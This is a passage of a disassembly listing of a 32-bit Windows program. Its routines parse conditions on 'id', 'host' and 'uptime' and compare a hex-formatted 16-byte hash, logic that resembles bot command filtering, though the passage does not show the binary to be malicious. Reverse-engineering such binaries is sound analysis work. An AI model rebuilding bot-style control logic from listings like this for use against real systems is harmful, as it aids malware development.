		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_412B20	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412BA0	proc near		; CODE XREF: sub_401D0Cj
		push	esi
		mov	esi, ecx
		call	sub_401FB9
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412BA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412BD0	proc near		; CODE XREF: sub_401FB9j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C5E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	esi
		retn
sub_412BD0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C10	proc near		; CODE XREF: sub_401721j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_412C10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C40	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40170D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
sub_412C40	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C90	proc near		; CODE XREF: sub_401F00j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447118
		call	sub_401591
sub_412C90	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412D30:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_4399EE
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_413056
		push	ebx
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013D9
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013D9
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E2E
		push	offset asc_443600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016AE
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E2E
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40200E
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40200E
		push	offset asc_443D04 ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412EB5
		xor	edi, edi


loc_412EB5:				; CODE XREF: ___:00412EB1j
		push	offset asc_443D00 ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412ECC
		mov	edi, 1


loc_412ECC:				; CODE XREF: ___:00412EC5j
		push	offset asc_443CFC ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412EE3
		mov	edi, 2


loc_412EE3:				; CODE XREF: ___:00412EDCj
		push	offset asc_443CF8 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412EFA
		mov	edi, 3


loc_412EFA:				; CODE XREF: ___:00412EF3j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F54
		test	edi, edi
		jnz	short loc_412F2A
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44755A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412F54
		jmp	short loc_412F47
; ---------------------------------------------------------------------------


loc_412F2A:				; CODE XREF: ___:00412F0Ej
		cmp	edi, 1
		jnz	short loc_412F54
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44755A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F54


loc_412F47:				; CODE XREF: ___:00412F28j
		push	0
		push	esi
		mov	ecx, offset byte_447277
		call	sub_401A32


loc_412F54:				; CODE XREF: ___:00412F0Aj
					; ___:00412F26j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FA7
		test	edi, edi
		jnz	short loc_412F88
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D609D
		call	sub_4013E3
		test	eax, eax
		jnz	loc_413009
		jmp	short loc_412FFC
; ---------------------------------------------------------------------------


loc_412F88:				; CODE XREF: ___:00412F68j
		cmp	edi, 1
		jnz	short loc_413009
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D609D
		call	sub_4013E3
		test	eax, eax
		jz	short loc_413009
		jmp	short loc_412FFC
; ---------------------------------------------------------------------------


loc_412FA7:				; CODE XREF: ___:00412F64j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_413009
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ebx, eax
		call	sub_401654
		test	edi, edi
		jnz	short loc_412FDD
		cmp	eax, ebx
		jz	short loc_413009
		jmp	short loc_412FFC
; ---------------------------------------------------------------------------


loc_412FDD:				; CODE XREF: ___:00412FD5j
		cmp	edi, 1
		jnz	short loc_412FE8
		cmp	eax, ebx
		jnz	short loc_413009
		jmp	short loc_412FFC
; ---------------------------------------------------------------------------


loc_412FE8:				; CODE XREF: ___:00412FE0j
		cmp	edi, 2
		jnz	short loc_412FF3
		cmp	eax, ebx
		jle	short loc_413009
		jmp	short loc_412FFC
; ---------------------------------------------------------------------------


loc_412FF3:				; CODE XREF: ___:00412FEBj
		cmp	edi, 3
		jnz	short loc_413009
		cmp	eax, ebx
		jge	short loc_413009


loc_412FFC:				; CODE XREF: ___:00412F86j
					; ___:00412FA5j ...
		push	0
		push	esi
		mov	ecx, offset byte_447277
		call	sub_401A32


loc_413009:				; CODE XREF: ___:00412F80j
					; ___:00412F8Bj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_413058
; ---------------------------------------------------------------------------


loc_413056:				; CODE XREF: ___:00412D69j
		mov	al, 1


loc_413058:				; CODE XREF: ___:00413054j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413160	proc near		; CODE XREF: sub_401654j
		call	near ptr 2870914h
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_413160	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4131A0	proc near		; CODE XREF: sub_401FFAj

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4131A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401749
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F05
sub_4131A0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401843
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43E044
		call	sub_401924
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413270	proc near		; CODE XREF: sub_401CF8j ___:00401E10j
		push	esi
		mov	esi, ecx
		call	sub_401C8F
sub_413270	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_413288
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_413288:				; CODE XREF: ___:0041327Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132A0	proc near		; CODE XREF: sub_401C8Fj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4132A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43E044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401924
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014B5
sub_4132A0	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 1
		call	sub_4011B8
; ---------------------------------------------------------------------------
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413360	proc near		; CODE XREF: sub_4019F6j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413360
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
sub_413360	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		lea	edx, [esp+28h]
		push	13h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413450	proc near		; CODE XREF: sub_401CD0j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_413450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	short loc_4134F7
		lea	ecx, [esp+18h+var_14]
		call	sub_402252
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_4018F2
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_4134F7


loc_4134B8:				; CODE XREF: sub_413450+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41351C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_4134B8


loc_4134F7:				; CODE XREF: sub_413450+2Ej
					; sub_413450+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41351C:				; CODE XREF: sub_413450+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_413450	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413590	proc near		; CODE XREF: sub_402112j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_413590
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	loc_413663
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401983
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jz	short loc_413663


loc_4135FF:				; CODE XREF: sub_413590+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014C9
		mov	ecx, ebx
		call	sub_401CD0
		mov	esi, eax
		test	esi, esi
		jz	short loc_41362C
		mov	edi, [esi]


loc_41362C:				; CODE XREF: sub_413590+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B72
		test	eax, eax
		jz	short loc_41368B
		test	esi, esi
		jnz	short loc_41368B
		lea	ecx, [esp+28h+var_18]
		call	sub_4018B6
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jnz	short loc_4135FF


loc_413663:				; CODE XREF: sub_413590+31j
					; sub_413590+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_413676:				; CODE XREF: sub_413590+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_41368B:				; CODE XREF: sub_413590+AAj
					; sub_413590+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_413676
sub_413590	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4136F0	proc near		; CODE XREF: sub_401F46j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4136F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017E4
		test	eax, eax
		jz	short loc_413794
		lea	ecx, [esp+14h+var_14]
		call	sub_401E1F
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jz	short loc_413794


loc_413756:				; CODE XREF: sub_4136F0+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FA5
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jz	short loc_4137C6
		lea	ecx, [esp+14h+var_14]
		call	sub_4020A4
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jnz	short loc_413756


loc_413794:				; CODE XREF: sub_4136F0+2Bj
					; sub_4136F0+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401578
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_4137C6:				; CODE XREF: sub_4136F0+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FA5
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401578
sub_4136F0	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413860	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017E4
		test	eax, eax
		jz	loc_413993
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A55
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_401424
		push	offset byte_446F30
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015D7
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014D3
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C12
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402158
		add	esp, 14h


loc_4138FB:				; CODE XREF: sub_413860+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_401424
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016BD
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_4138FB
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B72
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_41398E
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_4139AC
; ---------------------------------------------------------------------------


loc_41398E:				; CODE XREF: sub_413860+10Cj
		call	sub_401226


loc_413993:				; CODE XREF: sub_413860+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_4139AC:				; CODE XREF: sub_413860+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_413860	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413A30	proc near		; CODE XREF: sub_40191Fj

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413A30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014C9
		mov	ecx, esi
		call	sub_402112
		test	eax, eax
		jz	short loc_413ADE
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_40171C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	[esp+44h+var_8], 2
		call	sub_4014C9
		mov	ecx, esi
		mov	[esp+40h+var_8], 1
		call	sub_401F46
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_413ADE
		lea	ecx, [esp+40h+var_24]
		mov	byte ptr [esp+40h+var_2C], 0
		call	sub_401226
		lea	ecx, [esp+40h+var_C]
		mov	[esp+40h+var_2C], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+40h+var_34]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413ADE:				; CODE XREF: sub_413A30+3Fj
					; sub_413A30+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_413A30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413B60:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_439BA8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40191F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413BF0	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
